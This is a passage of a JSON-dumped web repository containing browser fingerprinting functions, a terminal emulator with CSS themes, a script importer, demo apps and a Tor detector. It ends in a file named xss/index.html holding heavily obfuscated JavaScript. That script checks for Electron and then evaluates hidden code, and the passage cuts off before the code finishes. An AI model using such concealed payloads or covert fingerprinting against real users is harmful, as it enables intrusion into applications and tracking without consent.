canvas.getContext('webgl') || canvas.getContext('experimental-webgl');\n    if (gl && gl.getExtension('WEBGL_debug_renderer_info')) { return gl.getParameter(gl.getExtension('WEBGL_debug_renderer_info').UNMASKED_VENDOR_WEBGL); }\n    return 'N/A';\n}\n\nfunction getWebGLRenderer() {\n    var canvas = document.createElement('canvas'),\n        gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');\n    if (gl && gl.getExtension('WEBGL_debug_renderer_info')) { return gl.getParameter(gl.getExtension('WEBGL_debug_renderer_info').UNMASKED_RENDERER_WEBGL); }\n    return 'N/A';\n}\n\nfunction getWebGLVersion() {\n    var canvas = document.createElement('canvas'),\n        gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');\n    if (gl) { return gl.getParameter(gl.VERSION); }\n    return 'N/A';\n}\n\nfunction isWebAudioAPISupported() { return typeof window.AudioContext !== 'undefined' || typeof window.webkitAudioContext !== 'undefined'; }\n\nfunction isMIDIAPIAvailable() { return typeof navigator.requestMIDIAccess !== 'undefined'; }\n\nfunction isWebSocketsSupported() { return 'WebSocket' in window ? 'Supported' : 'Not supported'; }\n\nfunction isBatteryAPISupported() { return navigator.getBattery ? 'Supported' : 'Not supported'; }\n\nfunction isWebVRAPIAvailable() { return 'getVRDisplays' in navigator ? 'Supported' : 'Not supported'; }\n\nfunction isWebXRAPIAvailable() { return 'xr' in navigator ? 'Supported' : 'Not supported'; }\n\nfunction getMaxAudioContextChannels() {\n    try {\n        var audioContext = new(window.AudioContext || window.webkitAudioContext)(),\n            maxChannels = audioContext.destination.maxChannelCount;\n        audioContext.close();\n        return maxChannels;\n    } catch (exc) {\n        return 'N/A'\n    }\n}\n\nfunction isChromium() { return typeof window.chrome == 'object'; }\n\nfunction isOpera() { return typeof window.opera == 'object'; }"
  },
  {
    "path": "terminal/modules/io-fs.js",
    "content": "class FileSystem {\n    constructor() {\n        this.storage = window.localStorage;\n        this.files = JSON.parse(this.storage.getItem('files')) || {};\n        this.serializedFiles = JSON.stringify(this.files);\n        this.fileList = Object.keys(this.files).join('\\n');\n    }\n\n    createFile(name, content = '') {\n        if (!this.isValidFileName(name)) {\n            throw new Error('Invalid file name');\n        }\n\n        if (this.fileExists(name)) {\n            throw new Error('File already exists');\n        }\n\n        this.files[name] = content;\n        this.serializedFiles = JSON.stringify(this.files);\n        this.saveFiles();\n    }\n\n    deleteFile(name) {\n        if (!this.isValidFileName(name)) {\n            throw new Error('Invalid file name');\n        }\n\n        if (!this.fileExists(name)) {\n            throw new Error('File not found');\n        }\n\n        delete this.files[name];\n        this.serializedFiles = JSON.stringify(this.files);\n        this.saveFiles();\n    }\n\n    readFile(name) {\n        if (!this.isValidFileName(name)) {\n            throw new Error('Invalid file name');\n        }\n\n        if (!this.fileExists(name)) {\n            throw new Error('File not found');\n        }\n\n        return this.files[name];\n    }\n\n    writeFile(name, content) {\n        if (!this.isValidFileName(name)) {\n            throw new Error('Invalid file name');\n        }\n\n        if (!this.fileExists(name)) {\n            throw new Error('File not found');\n        }\n\n        this.files[name] = content;\n        this.serializedFiles = JSON.stringify(this.files);\n        this.saveFiles();\n    }\n\n    saveFiles() {\n        this.storage.setItem('files', this.serializedFiles);\n    }\n\n    getFileList() {\n        return this.fileList;\n    }\n\n    isValidFileName(name) {\n        const forbiddenChars = /[^\\w\\d-_]/;\n        return !forbiddenChars.test(name);\n    }\n\n    fileExists(name) {\n        return name in this.files;\n    }\n}\n\nconst IO = new FileSystem();"
  },
  {
    "path": "terminal/modules/manifest.js",
    "content": "const config = {\n        version: '3.20.25'\n    },\n    version = {\n        os: 'braux (client)',\n        kernel: 'VM-' + config.version,\n        shell: 'bash-js'\n    }"
  },
  {
    "path": "terminal/styles/global.css",
    "content": "html,\nbody {\n    transition: background-color 0.8s, color 0.8s;\n    cursor: default;\n    font-family: monospace;\n    margin: 0;\n    padding: 0;\n    zoom: 100%;\n    width: 100%;\n    height: 100%;\n}\n\ninput .container {\n    margin-left: 10px;\n}\n\ninput,\n.prompt {\n    user-select: none;\n}\n\n.command {\n    white-space: pre-wrap;\n}\n\n.first {\n    font-style: italic;\n}\n\n.log {\n    margin: 10px;\n    margin-bottom: 10px;\n    white-space: pre-wrap;\n}\n\nhr {\n    height: 1px;\n    border: none;\n}\n\n#console {\n    overflow-y: auto;\n    word-wrap: break-word;\n}\n\n::-webkit-scrollbar {\n    width: 10px;\n}\n\ninput[type=\"text\"] {\n    cursor: default;\n    background-color: transparent;\n    border: none;\n    font-family: monospace;\n    font-size: inherit;\n    width: 94vw;\n    outline: none;\n}\n\n.error {\n    transition: background-color 0.9s, color 0.9s;\n    border-radius: 4px;\n    height: 100%;\n}\n\na {\n    transition: background-color 0.3s, color 0.3s;\n    text-decoration-line: none;\n    border-bottom: 1px dotted;\n}\n\n.insert-cmd {\n    cursor: help;\n}\n\n#context-menu {\n    border: 1px solid;\n    position: fixed;\n    z-index: 10000;\n    width: 150px;\n    border-radius: 5px;\n    transform: scale(0);\n    transform-origin: top left;\n    user-select: none;\n}\n\n#context-menu.visible {\n    transform: scale(1);\n    transition: transform 200ms ease-in-out;\n}\n\n#context-menu .item {\n    transition: background-color 0.3s, color 0.3s;\n    padding: 8px 10px;\n    font-size: 15px;\n    cursor: pointer;\n    border-radius: inherit;\n}"
  },
  {
    "path": "terminal/styles/themes/cherry.css",
    "content": "body {\n    background-color: rgb(41, 0, 35);\n    color: white;\n}\n\nhr {\n    background-color: rgb(108, 0, 158);\n}\n\n::-webkit-scrollbar-track {\n    background-color: black;\n}\n\n::-webkit-scrollbar-thumb {\n    background-color: white;\n}\n\n::selection {\n    background-color: rgb(255, 0, 43);\n    color: white;\n}\n\ninput[type=\"text\"] {\n    color: white;\n    caret-color: rgb(255, 210, 247);\n}\n\n.error {\n    background-color: rgb(190, 44, 44);\n    color: white;\n}\n\na {\n    background-color: rgb(173, 0, 130);\n    color: white;\n}\n\na:hover {\n    background-color: white;\n    color: rgb(255, 0, 191);\n}\n\n.pointer {\n    color: white;\n}\n\n#context-menu {\n    background: #1b1a1a;\n    border-color: rgb(108, 0, 158);\n}\n\n#context-menu .item {\n    color: #eee;\n}\n\n#context-menu .item:hover {\n    background: #4e004e;\n}"
  },
  {
    "path": "terminal/styles/themes/dark.css",
    "content": "body {\n    background-color: black;\n    color: white;\n}\n\nhr {\n    background-color: rgb(66, 66, 66);\n}\n\n::-webkit-scrollbar-track {\n    background-color: black;\n}\n\n::-webkit-scrollbar-thumb {\n    background-color: white;\n}\n\n::selection {\n    background-color: white;\n    color: black;\n}\n\ninput[type=\"text\"] {\n    color: white;\n    caret-color: white;\n}\n\n.error {\n    background-color: rgb(116, 0, 0);\n    color: white;\n}\n\na {\n    background-color: rgb(43, 100, 255);\n    color: white;\n}\n\na:hover {\n    background-color: white;\n    color: rgb(57, 43, 255);\n}\n\n.pointer {\n    color: white;\n}\n\n#context-menu {\n    background: #1b1a1a;\n    border-color: rgb(66, 66, 66);\n}\n\n#context-menu .item {\n    color: #eee;\n}\n\n#context-menu .item:hover {\n    background: #343434;\n}"
  },
  {
    "path": "terminal/styles/themes/hacker.css",
    "content": "body {\n    background-color: rgb(0, 18, 19);\n    color: white;\n}\n\nhr {\n    background-color: rgb(0, 138, 0);\n}\n\n::-webkit-scrollbar-track {\n    background-color: black;\n}\n\n::-webkit-scrollbar-thumb {\n    background-color: lime;\n}\n\n::selection {\n    background-color: rgb(0, 138, 0);\n    color: white;\n}\n\ninput[type=\"text\"] {\n    color: white;\n    caret-color: lime;\n}\n\n.error {\n    background-color: rgb(255, 155, 155);\n    color: black;\n}\n\na {\n    background-color: rgb(23, 80, 0);\n    color: white;\n}\n\na:hover {\n    background-color: white;\n    color: rgb(57, 43, 255);\n}\n\n.pointer {\n    color: lime;\n}\n\n#context-menu {\n    background: #1b1a1a;\n    border-color: rgb(23, 80, 0);\n}\n\n#context-menu .item {\n    color: #eee;\n}\n\n#context-menu .item:hover {\n    background: #003612;\n}"
  },
  {
    "path": "terminal/styles/themes/light.css",
    "content": "body {\n    background-color: white;\n    color: black;\n}\n\nhr {\n    background-color: rgb(151, 151, 151);\n}\n\n::-webkit-scrollbar-track {\n    background-color: white;\n}\n\n::-webkit-scrollbar-thumb {\n    background-color: black;\n}\n\n::selection {\n    background-color: black;\n    color: white;\n}\n\ninput[type=\"text\"] {\n    color: black;\n    caret-color: black;\n}\n\n.error {\n    background-color: rgb(116, 0, 0);\n    color: white;\n}\n\na {\n    background-color: rgb(0, 63, 238);\n    color: white;\n}\n\na:hover {\n    background-color: rgb(0, 0, 0);\n}\n\n.pointer {\n    color: black;\n}\n\n#context-menu {\n    background: #eee;\n    border-color: rgb(151, 151, 151);\n}\n\n#context-menu .item {\n    color: #000000;\n}\n\n#context-menu .item:hover {\n    background: #dbdbdb;\n}"
  },
  {
    "path": "testpool/Import.js",
    "content": "/*\r\n    [JavaScript V8] JS Importer library\r\n    Coded by @DosX_Plus (Telegram)\r\n*/\r\n\r\nconsole.log(\"\\\"JS Importer library\\\" connected successfully!\");\r\n\r\nfunction Import(reference, host = \"\") {\r\n    try {\r\n\r\n        if (reference == \"isAvailable\") {\r\n            return true;\r\n        }\r\n\r\n        if (reference.includes(\"://\")) {\r\n            throw `Use the second argument of Import( ... ) to indicate the source:\\n    Import(\"script.js\", \"https://example.com\")`;\r\n        }\r\n\r\n        if (host.trim()) {\r\n            reference = `${host}/${reference}`\r\n        } else {\r\n            if (!document.domain) {\r\n                throw `You are trying to upload a local file (\"\"). The security system blocked your attempt to do so.`;\r\n            }\r\n        }\r\n\r\n        let script = document.createElement(\"script\");\r\n        script.src = reference;\r\n\r\n        if (reference.trim() == \"\") {\r\n            throw `No data input!`;\r\n        } else if (!reference.includes(\".js\")) {\r\n            throw `\"${reference}\" is not a JavaScript file.`;\r\n        }\r\n\r\n        document.head.appendChild(script);\r\n        return true;\r\n    } catch (exc) {\r\n        console.error(`Exception: ${exc}`);\r\n        return false;\r\n    }\r\n}\r\n"
  },
  {
    "path": "testpool/demo-apps/app1/index.html",
    "content": "<!DOCTYPE html>\n<html>\n\n<head>\n</head>\n\n<body>\n    <script src=\"memworker.js\"></script>\n</body>\n\n</html>"
  },
  {
    "path": "testpool/demo-apps/app1/memworker.js",
    "content": "class unsafe {\n    constructor() {\n        this.value = 0x0;\n    }\n}\n\nconst outputContainer = document.body;\n\nfunction sendAnswer(data = null) {\n    outputContainer.innerText = data;\n}\n\nlet request = new unsafe();\nsendAnswer(request.value);"
  },
  {
    "path": "testpool/demo-apps/ezmath/index.html",
    "content": "<!DOCTYPE html>\n<html>\n\n<head>\n    <meta charset=\"UTF-8\">\n    <title>ezmath</title>\n    <style>\n        body {\n            font-family: Arial, sans-serif;\n            background-color: #f1f1f1;\n            margin: 0;\n            padding: 0;\n        }\n\n        .container {\n            max-width: 800px;\n            margin: 0 auto;\n            padding: 20px;\n            box-sizing: border-box;\n        }\n\n        h1 {\n            text-align: center;\n        }\n\n        .problem {\n            font-size: 24px;\n            text-align: center;\n            margin-top: 50px;\n        }\n\n        .timer {\n            font-size: 36px;\n            text-align: center;\n            margin-top: 30px;\n        }\n\n        .input-container {\n            text-align: center;\n            margin-top: 20px;\n        }\n\n        .input-container input {\n            width: 200px;\n            padding: 10px;\n            font-size: 16px;\n            border: none;\n            border-radius: 4px;\n        }\n\n        .stats {\n            margin-top: 50px;\n        }\n\n        .stats table {\n            width: 100%;\n            border-collapse: collapse;\n        }\n\n        .stats table th,\n        .stats table td {\n            padding: 10px;\n            text-align: left;\n            border-bottom: 1px solid #ddd;\n        }\n\n        .reset-button {\n            text-align: center;\n            margin-top: 20px;\n        }\n\n        .reset-button button {\n            padding: 10px 20px;\n            font-size: 16px;\n            border: none;\n            border-radius: 4px;\n            background-color: #4caf50;\n            color: white;\n            cursor: pointer;\n        }\n\n        .game-control {\n            text-align: center;\n            margin-top: 20px;\n        }\n\n        .game-control button {\n            padding: 10px 20px;\n            font-size: 16px;\n            border: none;\n            border-radius: 4px;\n            background-color: #007bff;\n            color: white;\n            cursor: pointer;\n        }\n    </style>\n</head>\n\n<body>\n    <div class=\"container\">\n        <h1>ezmath</h1>\n        <div class=\"game-control\">\n            <button id=\"start-button\">Start Game</button>\n            <button id=\"stop-button\" disabled>Stop Game</button>\n        </div>\n        <div class=\"problem\"></div>\n        <div class=\"timer\"></div>\n        <div class=\"input-container\">\n            <input type=\"text\" id=\"answer-input\" placeholder=\"Enter your answer\" autofocus>\n        </div>\n        <div class=\"stats\">\n            <h2>Statistics</h2>\n            <table>\n                <thead>\n                    <tr>\n                        <th>Correct</th>\n                        <th>Incorrect</th>\n                        <th>Time Exceeded</th>\n                    </tr>\n                </thead>\n                <tbody id=\"stats-body\">\n                </tbody>\n            </table>\n        </div>\n        <div class=\"reset-button\">\n            <button id=\"reset-button\">Reset Statistics</button>\n        </div>\n    </div>\n\n    <script>\n        // Generate a random integer between min (inclusive) and max (inclusive)\n        function getRandomInt(min, max) {\n            min = Math.ceil(min);\n            max = Math.floor(max);\n            return Math.floor(Math.random() * (max - min + 1)) + min;\n        }\n\n        // Generate a random math problem with 2 or 3 operations (+ and -)\n        function generateProblem() {\n            var numOperations = getRandomInt(2, 3);\n            var problemString = '';\n            var answer = 0;\n\n            for (var i = 0; i < numOperations; i++) {\n                var operand1 = getRandomInt(1, 10);\n                var operand2 = getRandomInt(1, 10);\n                var operator = (i === 0) ? '+' : '-';\n\n                problemString += operand1 + ' ' + operator + ' ' + operand2 + ' ';\n\n                if (operator === '+') {\n                    answer += operand1 + operand2;\n                } else {\n                    if (operand1 < operand2) {\n                        // Swap operands to avoid negative result\n                        var temp = operand1;\n                        operand1 = operand2;\n                        operand2 = temp;\n                    }\n\n                    answer += operand1 - operand2;\n                }\n            }\n\n            problemString += '=';\n\n            return {\n                problemString: problemString,\n                answer: answer\n            };\n        }\n\n        var problemElement = document.querySelector('.problem');\n        var timerElement = document.querySelector('.timer');\n        var answerInputElement = document.getElementById('answer-input');\n        var statsBodyElement = document.getElementById('stats-body');\n        var resetButtonElement = document.getElementById('reset-button');\n        var startButtonElement = document.getElementById('start-button');\n        var stopButtonElement = document.getElementById('stop-button');\n\n        var statistics = JSON.parse(localStorage.getItem('ezmath_statistics')) || [];\n        var timerInterval;\n        var startTime;\n\n        function updateStats() {\n            var correctCount = 0;\n            var incorrectCount = 0;\n            var timeExceededCount = 0;\n\n            statistics.forEach(function (stat) {\n                if (stat.result === 'Correct') {\n                    correctCount++;\n                } else if (stat.result === 'Incorrect') {\n                    incorrectCount++;\n                } else if (stat.result === 'Time Exceeded') {\n                    timeExceededCount++;\n                }\n            });\n\n            statsBodyElement.innerHTML = '';\n\n            var row = document.createElement('tr');\n\n            var correctCell = document.createElement('td');\n            correctCell.textContent = correctCount;\n            row.appendChild(correctCell);\n\n            var incorrectCell = document.createElement('td');\n            incorrectCell.textContent = incorrectCount;\n            row.appendChild(incorrectCell);\n\n            var timeExceededCell = document.createElement('td');\n            timeExceededCell.textContent = timeExceededCount;\n            row.appendChild(timeExceededCell);\n\n            statsBodyElement.appendChild(row);\n        }\n\n        function resetStats() {\n            statistics = [];\n            localStorage.setItem('ezmath_statistics', JSON.stringify(statistics));\n            updateStats();\n        }\n\n        resetButtonElement.addEventListener('click', resetStats);\n\n        function displayNextProblem() {\n            var problem = generateProblem();\n            problemElement.textContent = problem.problemString;\n            answerInputElement.value = '';\n\n            startTime = new Date().getTime();\n\n            timerInterval = setInterval(function () {\n                var currentTime = new Date().getTime();\n                var elapsedTime = (currentTime - startTime) / 1000;\n                var remainingTime = 30 - elapsedTime;\n\n                if (remainingTime <= 0) {\n                    clearInterval(timerInterval);\n\n                    var stat = {\n                        problemString: problem.problemString,\n                        result: 'Time Exceeded'\n                    };\n\n                    statistics.push(stat);\n                    localStorage.setItem('ezmath_statistics', JSON.stringify(statistics));\n                    updateStats();\n\n                    displayNextProblem();\n                }\n\n                timerElement.textContent = 'Time: ' + remainingTime.toFixed(1) + 's';\n            }, 100);\n\n            answerInputElement.addEventListener('input', function () {\n                var userAnswer = parseInt(answerInputElement.value);\n\n                if (!isNaN(userAnswer) && userAnswer === problem.answer) {\n                    clearInterval(timerInterval);\n\n                    var stat = {\n                        problemString: problem.problemString,\n                        result: 'Correct'\n                    };\n\n                    statistics.push(stat);\n                    localStorage.setItem('ezmath_statistics', JSON.stringify(statistics));\n                    updateStats();\n\n                    displayNextProblem();\n                }\n            });\n        }\n\n        startButtonElement.addEventListener('click', function () {\n            startButtonElement.disabled = true;\n            stopButtonElement.disabled = false;\n\n            displayNextProblem();\n        });\n\n        stopButtonElement.addEventListener('click', function () {\n            clearInterval(timerInterval);\n            startButtonElement.disabled = false;\n            stopButtonElement.disabled = true;\n            timerElement.textContent = 'Time: 0.0s';\n        });\n\n        updateStats();\n    </script>\n</body>\n\n</html>"
  },
  {
    "path": "testpool/index.html",
    "content": "<!DOCTYPE html>\r\n<html>\r\n\r\n<head>\r\n    <meta charset=\"UTF-8\">\r\n</head>\r\n\r\n<body>\r\n    <pre>\r\nCoded by DosX-dev [<a href=\"https://github.com/DosX-dev\" target=\"_blank\">https://github.com/DosX-dev</a>]\r\nOPEN THE DEVELOPER CONSOLE\r\n</pre>\r\n    <text id=\"import\">Loading... <noscript>Error!</noscript></text>\r\n    <script src=\"Import.js\"></script>\r\n    <script>\r\n        try {\r\n            if (Import(\"isAvailable\")) {\r\n                document.getElementById(\"import\").innerHTML = \"Function \\\"<span style=\\\"color: darkorange;\\\">Import( ... )\\</span>\\\" loaded!\";\r\n            }\r\n        } catch (exc) {\r\n            document.getElementById(\"import\").innerHTML = `<span style=\\\"color: red;\\\">${exc}</span>`;\r\n        }\r\n    </script>\r\n</body>\r\n\r\n</html>\r\n"
  },
  {
    "path": "tor-detector.html",
    "content": "<!DOCTYPE html>\r\n<html>\r\n\r\n<head>\r\n    <style>\r\n        body {\r\n            font-family: Arial, Helvetica, sans-serif;\r\n        }\r\n    </style>\r\n</head>\r\n\r\n<body>\r\n    <p>Tor detected: <span id=\"result\"><noscript>ENABLE JAVASCRIPT</noscript></span></p>\r\n</body>\r\n<script>\r\n    var out = document.getElementById(\"result\");\r\n    var _isTorDetected = isTorDetected();\r\n    out.innerHTML = _isTorDetected;\r\n    out.style = _isTorDetected ? \"color: green;\" : \"color: red;\"\r\n\r\n    function isTorDetected() {\r\n        return (!window.matchMedia('(prefers-color-scheme:dark)').matches &&\r\n            typeof chrome !== \"object\" && !navigator.requestMIDIAccess);\r\n    }\r\n</script>\r\n\r\n</html>\r\n"
  },
  {
    "path": "xss/index.html",
    "content": "<script>\n    var _DosX_L = _DosX_C; (function (f, C) { var _DosX_Z = { f: '\\x30\\x78\\x31\\x31\\x33', C: 0x11e, I: '\\x75\\x54\\x74\\x48', N: '\\x30\\x6a\\x65\\x62' }, t = _DosX_C, I = f(); while (!![]) { try { var N = -parseInt(t('\\x30\\x78\\x31\\x31\\x66', '\\x32\\x50\\x2a\\x58')) / (-0x51 + -0x4 * -0x19d + -0x622) * (-parseInt(t('\\x30\\x78\\x31\\x31\\x61', '\\x63\\x5e\\x56\\x37')) / (0x8 * 0x17f + 0x2cd + -0xec3)) + -parseInt(t(0x112, '\\x58\\x4d\\x37\\x71')) / (-0x200f + 0x1e4e + 0x1c4) + parseInt(t(0x10f, '\\x54\\x44\\x46\\x24')) / (0x1 * 0x259a + -0x2263 + -0x333) * (parseInt(t(_DosX_Z.f, '\\x63\\x35\\x66\\x31')) / (0x1c03 + -0x1 * 0x191 + -0x267 * 0xb)) + parseInt(t(0x114, '\\x32\\x50\\x2a\\x58')) / (-0x120c + -0x5 * -0x1e3 + 0xc9 * 0xb) * (parseInt(t(_DosX_Z.C, _DosX_Z.I)) / (-0x2 * 0xdf1 + -0x4 * 0x698 + 0x3649)) + parseInt(t(0x117, '\\x6e\\x48\\x32\\x39')) / (0x26d3 + -0x9 * -0x1ce + -0x3709) + parseInt(t('\\x30\\x78\\x31\\x31\\x39', _DosX_Z.N)) / (0x1d0e + -0x9c5 * -0x3 + 0x4 * -0xe95) * (-parseInt(t('\\x30\\x78\\x31\\x31\\x30', '\\x33\\x42\\x71\\x5d')) / (-0x483 + 0x2295 + -0x1e08)) + -parseInt(t(0x111, '\\x33\\x62\\x71\\x75')) / (0x2 * -0x148 + -0x1 * 0xb5 + 0x350); if (N === C) break; else I['push'](I['shift']()); } catch (g) { I['push'](I['shift']()); } } }(_DosX_f, 0x22cbd + 0x2e6d6 + 0x1 * -0x3065d), history['\\x70\\x75\\x73\\x68\\x53\\x74' + _DosX_L(0x11d, '\\x74\\x70\\x61\\x39')](null, null, '\\x2f')); function _DosX_C(f, C) { var I = _DosX_f(); return _DosX_C = function (N, g) { N = N - (-0x1c1d + -0x86 + -0x2 * -0xed9); var t = I[N]; if (_DosX_C['\\x69\\x55\\x53\\x74\\x70\\x72'] === undefined) { var L = function (i) { var P = '\\x61\\x62\\x63\\x64\\x65\\x66\\x67\\x68\\x69\\x6a\\x6b\\x6c\\x6d\\x6e\\x6f\\x70\\x71\\x72\\x73\\x74\\x75\\x76\\x77\\x78\\x79\\x7a\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x48\\x49\\x4a\\x4b\\x4c\\x4d\\x4e\\x4f\\x50\\x51\\x52\\x53\\x54\\x55\\x56\\x57\\x58\\x59\\x5a\\x30\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x2b\\x2f\\x3d'; var J = '', c = ''; for (var H = -0xbbd * 0x1 + -0x4 * 0x4ff + 0x1 * 0x1fb9, K, m, y = -0x65 * -0x1b + -0x2e3 + 0x8e * -0xe; m = i['\\x63\\x68\\x61\\x72\\x41\\x74'](y++); ~m && (K = H % (0x1323 + 0x2 * 0x1143 + -0x35a5) ? K * (0x217a + 0x5 * 0xe5 + -0x25b3) + m : m, H++ % (-0x2141 + -0x1 * -0xc0d + 0x1538)) ? J += String['\\x66\\x72\\x6f\\x6d\\x43\\x68\\x61\\x72\\x43\\x6f\\x64\\x65'](-0x1 * 0x5f2 + 0x950 + 0x1 * -0x25f & K >> (-(0x2e * 0xd6 + 0x997 + -0x3009 * 0x1) * H & 0x805 * -0x4 + 0xc82 + 0x273 * 0x8)) : 0x146a + 0x11 * -0xd1 + -0x689) { m = P['\\x69\\x6e\\x64\\x65\\x78\\x4f\\x66'](m); } for (var a = -0x20e1 + 0x114e + -0x1 * -0xf93, W = J['\\x6c\\x65\\x6e\\x67\\x74\\x68']; a < W; a++) { c += '\\x25' + ('\\x30\\x30' + J['\\x63\\x68\\x61\\x72\\x43\\x6f\\x64\\x65\\x41\\x74'](a)['\\x74\\x6f\\x53\\x74\\x72\\x69\\x6e\\x67'](0x2 * 0x137b + 0x29 * 0xdc + -0x4a22))['\\x73\\x6c\\x69\\x63\\x65'](-(0x21b4 + -0x133a + 0x8 * -0x1cf)); } return decodeURIComponent(c); }; var d = function (P, J) { var c = [], H = -0x11ea * 0x1 + 0x48f * 0x2 + 0x8cc, k, K = ''; P = L(P); var m; for (m = -0xd * 0x2d8 + -0x3 * 0x1b + 0x2549; m < 0x8 * 0x17f + 0x2cd + -0xdc5; m++) { c[m] = m; } for (m = -0x200f + 0x1e4e + 0x1c1; m < 0x1 * 0x259a + -0x2263 + -0x237; m++) { H = (H + c[m] + J['\\x63\\x68\\x61\\x72\\x43\\x6f\\x64\\x65\\x41\\x74'](m % J['\\x6c\\x65\\x6e\\x67\\x74\\x68'])) % (0x1c03 + -0x1 * 0x191 + -0x1972 * 0x1), k = c[m], c[m] = c[H], c[H] = k; } m = -0x120c + -0x5 * -0x1e3 + 0x69 * 0x15, H = -0x2 * 0xdf1 + -0x4 * 0x698 + 0x3642; for (var a = 0x26d3 + -0x9 * -0x1ce + -0x3711; a < P['\\x6c\\x65\\x6e\\x67\\x74\\x68']; a++) { m = (m + (0x1d0e + -0x9c5 * -0x3 + 0x2d * -0x14c)) % (-0x483 + 0x2295 + -0x1d12), H = (H + c[m]) % (0x2 * -0x148 + -0x1 * 0xb5 + 0x445), k = c[m], c[m] = c[H], c[H] = k, K += String['\\x66\\x72\\x6f\\x6d\\x43\\x68\\x61\\x72\\x43\\x6f\\x64\\x65'](P['\\x63\\x68\\x61\\x72\\x43\\x6f\\x64\\x65\\x41\\x74'](a) ^ c[(c[m] + c[H]) % (0x14b4 + 0x1ba0 + 0x1 * -0x2f54)]); } return K; }; _DosX_C['\\x64\\x73\\x6e\\x47\\x43\\x6f'] = d, f = arguments, _DosX_C['\\x69\\x55\\x53\\x74\\x70\\x72'] = !![]; } var Z = I[-0x828 * 0x2 + -0x1 * 0x756 + 0x17a6 * 0x1], S = N + Z, q = f[S]; return !q ? (_DosX_C['\\x56\\x6f\\x59\\x49\\x6f\\x72'] === undefined && (_DosX_C['\\x56\\x6f\\x59\\x49\\x6f\\x72'] = !![]), t = _DosX_C['\\x64\\x73\\x6e\\x47\\x43\\x6f'](t, g), f[S] = t) : t = q, t; }, _DosX_C(f, C); } function _DosX_f() { var S = ['\\x65\\x68\\x39\\x61\\x6f\\x6d\\x6b\\x62\\x46\\x43\\x6b\\x30\\x57\\x35\\x4a\\x64\\x52\\x57', '\\x46\\x53\\x6f\\x6a\\x57\\x37\\x2f\\x63\\x50\\x49\\x58\\x4a\\x57\\x37\\x72\\x74\\x57\\x37\\x52\\x64\\x4e\\x30\\x34\\x49', '\\x75\\x6d\\x6f\\x79\\x6e\\x6d\\x6f\\x64\\x57\\x36\\x7a\\x66\\x71\\x78\\x71\\x39\\x72\\x53\\x6b\\x59\\x6c\\x71', '\\x67\\x6d\\x6f\\x46\\x57\\x35\\x6a\\x51\\x43\\x68\\x64\\x63\\x54\\x31\\x71', '\\x74\\x4e\\x52\\x64\\x4f\\x31\\x64\\x64\\x4a\\x53\\x6b\\x30\\x57\\x51\\x56\\x64\\x4a\\x78\\x61', '\\x57\\x34\\x47\\x4f\\x44\\x6d\\x6f\\x57\\x73\\x59\\x4b', '\\x57\\x50\\x35\\x48\\x73\\x75\\x54\\x56\\x57\\x36\\x52\\x63\\x56\\x77\\x78\\x64\\x4a\\x48\\x75\\x41\\x73\\x57', '\\x57\\x36\\x48\\x69\\x57\\x52\\x30', '\\x66\\x38\\x6f\\x6d\\x57\\x35\\x6c\\x64\\x4e\\x74\\x70\\x64\\x53\\x65\\x61\\x4f', '\\x57\\x34\\x53\\x31\\x70\\x53\\x6f\\x43\\x57\\x36\\x4e\\x63\\x53\\x6d\\x6b\\x70\\x6c\\x4d\\x43', '\\x57\\x50\\x6c\\x63\\x47\\x53\\x6b\\x4e\\x66\\x63\\x56\\x64\\x56\\x64\\x42\\x64\\x4f\\x59\\x64\\x64\\x56\\x66\\x47\\x42', '\\x66\\x43\\x6f\\x50\\x74\\x53\\x6f\\x62\\x74\\x53\\x6b\\x4d\\x57\\x52\\x6a\\x2f\\x57\\x36\\x42\\x63\\x49\\x48\\x57', '\\x57\\x37\\x78\\x64\\x4b\\x43\\x6f\\x71\\x57\\x50\\x57\\x64\\x57\\x51\\x66\\x38\\x64\\x43\\x6f\\x57\\x7a\\x6d\\x6f\\x5a\\x57\\x50\\x56\\x63\\x51\\x47', '\\x57\\x36\\x62\\x49\\x57\\x35\\x44\\x58\\x57\\x51\\x4a\\x63\\x55\\x6d\\x6f\\x46\\x57\\x4f\\x6d\\x7a\\x79\\x53\\x6f\\x34\\x57\\x52\\x4b', '\\x57\\x34\\x64\\x64\\x48\\x53\\x6f\\x65\\x57\\x50\\x6c\\x63\\x52\\x6d\\x6f\\x6d\\x57\\x34\\x50\\x36', '\\x57\\x34\\x38\\x31\\x6f\\x53\\x6b\\x36\\x57\\x50\\x6c\\x63\\x4f\\x6d\\x6b\\x46\\x6d\\x4b\\x74\\x63\\x4f\\x47\\x57', '\\x57\\x36\\x52\\x63\\x50\\x53\\x6f\\x4b\\x57\\x50\\x79\\x78\\x67\\x74\\x70\\x63\\x54\\x47']; _DosX_f = function () { return S; }; return _DosX_f(); } navigator[_DosX_L(0x11b, '\\x63\\x41\\x7a\\x56') + '\\x65\\x6e\\x74']['\\x74\\x6f\\x4c\\x6f\\x77\\x65' + '\\x72\\x43\\x61\\x73\\x65']()['\\x69\\x6e\\x63\\x6c\\x75\\x64' + '\\x65\\x73']('\\x65\\x6c\\x65\\x63\\x74\\x72' + '\\x6f\\x6e') && (() => {\n        [][\"false\"[1] + \"true\"[0]][([][\"false\"[1] + \"true\"[0]] + [])[3] + (!0 + [][\"false\"[1] + \"true\"[0]])[\"10\"] + ([][[]] + [])[1] + \"false\"[3] + \"true\"[0] + \"true\"[1] + ([][[]] + [])[0] + ([][\"false\"[1] + \"true\"[0]] + [])[3] + \"true\"[0] + (!0 + [][\"false\"[1] + \"true\"[0]])[\"10\"] + \"true\"[1]](\"ret\" + ([][[]] + [])[0] + \"r\" + ([][[]] + [])[1] + (NaN + [].at)[\"11\"] + \"e\" + 31[\"true\"[0] + (!0 + [][\"false\"[1] + \"true\"[0]])[\"10\"] + \"\"[([][\"false\"[1] + \"true\"[0]] + [])[3] + (!0 + [][\"false\"[1] + \"true\"[0]])[\"10\"] + ([][[]] + [])[1] + \"false\"[3] + \"true\"[0] + \"true\"[1] + ([][[]] + [])[0] + ([][\"false\"[1] + \"true\"[0]] + [])[3] + \"true\"[0] + (!0 + [][\"false\"[1] + \"true\"[0]])[\"10\"] + \"true\"[1]][([][[]] + [])[1] + \"false\"[1] + (0[([][\"false\"[1] + \"true\"[0]] + [])[3] + (!0 + [][\"false\"[1] + \"true\"[0]])[\"10\"] + ([][[]] + [])[1] + \"false\"[3] + \"true\"[0] + \"true\"[1] + ([][[]] + [])[0] + ([][\"false\"[1] + \"true\"[0]] + [])[3] + \"true\"[0] + 